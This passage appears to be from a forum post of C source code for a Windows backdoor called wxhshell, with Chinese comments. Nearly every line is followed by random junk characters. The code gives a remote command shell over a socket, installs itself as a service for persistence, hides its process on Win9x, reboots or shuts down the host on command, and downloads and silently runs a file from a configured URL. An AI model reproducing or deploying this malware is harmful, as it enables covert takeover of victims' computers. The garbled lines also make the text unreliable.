    break; ^w&!}f+  
  } X4!Jj *  
  // 安装 ` @lNt}  
  case 'i': { :6Tv4ZUvcG  
    if(Install()) &;`E3$>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u.*}'C>^^v  
    else xJnN95`R@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;.rY`<|  
    break; JStEOQF4  
    } ^.  
  // 卸载 CJDNS21m  
  case 'r': { HIt9W]koO  
    if(Uninstall()) GctV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OEX\]!3_Fm  
    else LPZ\T} <l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =6f)sZpPh  
    break; 0P!Fci/t  
    } /"8|26  
  // 显示 wxhshell 所在路径 /{/mwS"W  
  case 'p': { !N_eZPU.v  
    char svExeFile[MAX_PATH]; rQ6>*0xL_  
    strcpy(svExeFile,"\n\r"); Pp_? z0M  
      strcat(svExeFile,ExeFile); Ra6}<o  
        send(wsh,svExeFile,strlen(svExeFile),0); rZ)7(0BBs  
    break; )D)4=LJ  
    } {t.S_|IE  
  // 重启 RTDplv; ]  
  case 'b': { A0,e3gb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ b</ ::Tp  
    if(Boot(REBOOT)) XX "3.zW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sqyju3Yp  
    else { 8J- ?bo  
    closesocket(wsh); Z6Z/Y()4Tl  
    ExitThread(0); xP;>p| M  
    } C N}0( 2n  
    break; yq<W+b/  
    } P_H_\KsH*(  
  // 关机 lDF7~N9J_  
  case 'd': { g:!R't?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e\f\CMb  
    if(Boot(SHUTDOWN)) &Vu-*?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PfB9 .f{  
    else { *~*"p)`<  
    closesocket(wsh); |5&7;;$  
    ExitThread(0); k*C[-5&#  
    } *UXa.kT@  
    break; `s3:Vsv4  
    } !&`\MD>;~R  
  // 获取shell 9 g- 8u+&  
  case 's': { .u=|h3&  
    CmdShell(wsh); "`%UC#  
    closesocket(wsh); hN\sC9a1  
    ExitThread(0); dTlEEgR  
    break; DRTT3;,N  
  } TZ3gJ6 Cb  
  // 退出 {*r!oD!'  
  case 'x': { GU9p'E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .2_xTt   
    CloseIt(wsh); m(EV C}Y  
    break; :S7[<SwL  
    } &p*rEs  
  // 离开 84i0h$ZZo  
  case 'q': { & .#dZ}J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h?} S|>9  
    closesocket(wsh); 8Bh micU  
    WSACleanup(); hd[t&?{=  
    exit(1); }odjaM}5Nc  
    break; TDWD8??e  
        } s8qpK; O  
  } %K7;ePu  
  } Z!jJ93A"  
Ke]'RfO\  
  // 提示信息 qPJSVo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %K06owV(S)  
} +Jn\`4/J:  
  } 0ia-D`^me  
@+)T"5_Y[  
  return; ]1|7V|N6  
} \q24E3zS&  
tK'9%yA\  
// shell模块句柄 II[-6\d!  
int CmdShell(SOCKET sock) ER@RWV 2  
{ *P5/S8c  
STARTUPINFO si; {a9.0N:4  
ZeroMemory(&si,sizeof(si)); 0dI7{o;<|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,OP\^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "?W8 o[c+  
PROCESS_INFORMATION ProcessInfo; !x||ObW\H  
char cmdline[]="cmd"; )nK+`{;@!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1=!2|D:C)i  
  return 0; !YlEXaS  
} x")Bmw$  
: t75iB=  
// 自身启动模式 aD6!x3c/  
int StartFromService(void) A{T> Aac  
{ E8<,j})*  
typedef struct H`Zg-j`  
{ Bsd~_y}8  
  DWORD ExitStatus; =4&"fZ"v  
  DWORD PebBaseAddress; ]@}hyM[D;  
  DWORD AffinityMask; TC@F*B;  
  DWORD BasePriority; !1]jk(Z  
  ULONG UniqueProcessId; |?MD>Pez  
  ULONG InheritedFromUniqueProcessId; A@4{-e\  
}   PROCESS_BASIC_INFORMATION; JRE\R&>g  
nr( C*E  
PROCNTQSIP NtQueryInformationProcess; -~H "zu`  
HzuG- V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m`Z.xIA7;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ycvgF6Me<  
BGOS(  
  HANDLE             hProcess; pL>Yx>  
  PROCESS_BASIC_INFORMATION pbi; z8)&ekG  
8= 82x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =*>.z@WQ  
  if(NULL == hInst ) return 0; <'A-9y]-v  
+Mn(s36f2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D`.\c#;cN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qw)Ou]L=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $"}*#<Z  
IF<T{/MA  
  if (!NtQueryInformationProcess) return 0; |%3>i"Y@AK  
4$ah~E>,t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LfCgvq6/pO  
  if(!hProcess) return 0; MI.OOoP3a  
U_E t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i3Xo6!Q  
AP4s_X+=  
  CloseHandle(hProcess); Eq=JmO'gHs  
Bi"cWO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e ^`La*n  
if(hProcess==NULL) return 0; 8vfC  
&Wk:>9]Jrb  
HMODULE hMod; kKDf%=  
char procName[255]; o4LVG  
unsigned long cbNeeded; 04}c_XFFE  
Y;dqrA>@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]~ S zb  
nf:wJ-;*  
  CloseHandle(hProcess); 2uF'\y  
{W%XS E  
if(strstr(procName,"services")) return 1; // 以服务启动 oL!C(\ERh  
4Yt'I#*  
  return 0; // 注册表启动 R+/kx#^  
} W*n|T{n  
/R6\_oM  
// 主模块 R4zOiBi'B  
int StartWxhshell(LPSTR lpCmdLine) Z]5xy_La  
{ `>lY$EBG@[  
  SOCKET wsl; 77]lp mC  
BOOL val=TRUE; tZ*>S]qD  
  int port=0; o0dD  
  struct sockaddr_in door; BgB0   
58`Dcx,yJ  
  if(wscfg.ws_autoins) Install(); %/_E8GE  
+vV?[e  
port=atoi(lpCmdLine); 0[8uuqV[cB  
fN9uSnu  
if(port<=0) port=wscfg.ws_port; _U,Hi?b"$}  
t+,2 p|B  
  WSADATA data; 0a,B&o1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UA4MtTp`  
9tmnx')_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GK3cQw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :01B)~^  
  door.sin_family = AF_INET; q!Z{qt*`um  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u_o] \D~  
  door.sin_port = htons(port); tCu.Fc@  
azRp4~2?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S]4!uv^y  
closesocket(wsl); k[*> nE  
return 1; 9w1`_r[J  
} kp6&e  
i|S/g.r  
  if(listen(wsl,2) == INVALID_SOCKET) { $2Bll5!]  
closesocket(wsl); R#rfnP >  
return 1; 5E}]U,$  
} bJynUZ  
  Wxhshell(wsl);  DD[<J:6  
  WSACleanup(); I-Am9\   
w.+G+ r=  
return 0;  KcpQ[6\  
S&Hgr_/}c  
} gTd r  
h66mzV:`  
// 以NT服务方式启动 {Z>Mnw"R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \#C]|\  
{ i7&ay\+@  
DWORD   status = 0; DJ1!Xuu  
  DWORD   specificError = 0xfffffff; ^5k~ 7F.  
$9W,1wg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iRV=I,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QQ %W3D @  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B f.- 5  
  serviceStatus.dwWin32ExitCode     = 0; X"jtPYCpV{  
  serviceStatus.dwServiceSpecificExitCode = 0; i nk !>Z  
  serviceStatus.dwCheckPoint       = 0; A yOy&]g  
  serviceStatus.dwWaitHint       = 0; _Y)Wi[  
=t.T9'{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xs~IoU  
  if (hServiceStatusHandle==0) return; }yd!UU  
74c5\UxA  
status = GetLastError(); xE*. ,:,&  
  if (status!=NO_ERROR) 5d-rF:#  
{ oS<*\!&D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m+x$LkP  
    serviceStatus.dwCheckPoint       = 0; "cvhx/\1#  
    serviceStatus.dwWaitHint       = 0; g]d0B!Ar~  
    serviceStatus.dwWin32ExitCode     = status; >^ E*7Bfp  
    serviceStatus.dwServiceSpecificExitCode = specificError; n-OQCz9Xl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j&q%@%Gm  
    return; H6lZ<R{=  
  } +.uQToqy  
VWk{?*Dp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~CHVU3  
  serviceStatus.dwCheckPoint       = 0; *De'4r 2  
  serviceStatus.dwWaitHint       = 0; BP1<:T'.q`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &@w0c>Y  
} 9vCCE[9  
_KZ TY`/*  
// 处理NT服务事件,比如:启动、停止 uSH_=^yTQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (N9g6V  
{ S.?DR3XLc  
switch(fdwControl) %{? 9#))  
{ )kYDN_W  
case SERVICE_CONTROL_STOP: I2,AT+O<  
  serviceStatus.dwWin32ExitCode = 0; [* |+ it+!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HK VtO%&  
  serviceStatus.dwCheckPoint   = 0; VuD{t%Jb  
  serviceStatus.dwWaitHint     = 0; :4r*Jju<V  
  { eAjsMED  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /E:BEm!  
  } fT YlIT9  
  return; bas1(/|S  
case SERVICE_CONTROL_PAUSE: vdot .  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yA';~V\V{>  
  break; wR"17z7[]  
case SERVICE_CONTROL_CONTINUE: |<MSV KW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F!-%v5.y  
  break; Q07&7SH_  
case SERVICE_CONTROL_INTERROGATE: T9Fe!yVA  
  break; ?}(B8^  
}; N@^:IfJ+=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,E"n7*6mr  
} Tl1H2s=G-  
'LR|DS[Ne  
// 标准应用程序主函数 v4XEp   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ClNuO  
{ QZuKM'D+  
,Kt51vGi  
// 获取操作系统版本 U/_hH*N"!  
OsIsNt=GetOsVer(); ^z51f>C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?P/73p  
7R5+Q\W  
  // 从命令行安装 1\g r ;b  
  if(strpbrk(lpCmdLine,"iI")) Install(); `O`MW} c  
AHHV\r  
  // 下载执行文件 )_6W@s  
if(wscfg.ws_downexe) { oVW>PEgB-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B&<P>AZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); i1*0'x  
} ~ e a K]|  
~.tYYX<  
if(!OsIsNt) { R@U4Ae{+  
// 如果时win9x,隐藏进程并且设置为注册表启动 AJ)&+H  
HideProc(); ;s-@m<  
StartWxhshell(lpCmdLine); tq51;L  
} LjIkZ'HuF  
else D0>Pc9  
  if(StartFromService()) 9Q'[>P=1  
  // 以服务方式启动 p1W6s0L  
  StartServiceCtrlDispatcher(DispatchTable); )KGz -!1c  
else 1MmEP  
  // 普通方式启动 Qj$w7*U  
  StartWxhshell(lpCmdLine); wJ"]H!r0  
4um^7Ns)7  
return 0; 3eB)X2~   
}
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只看该作者 1 发表于: 2006-10-10
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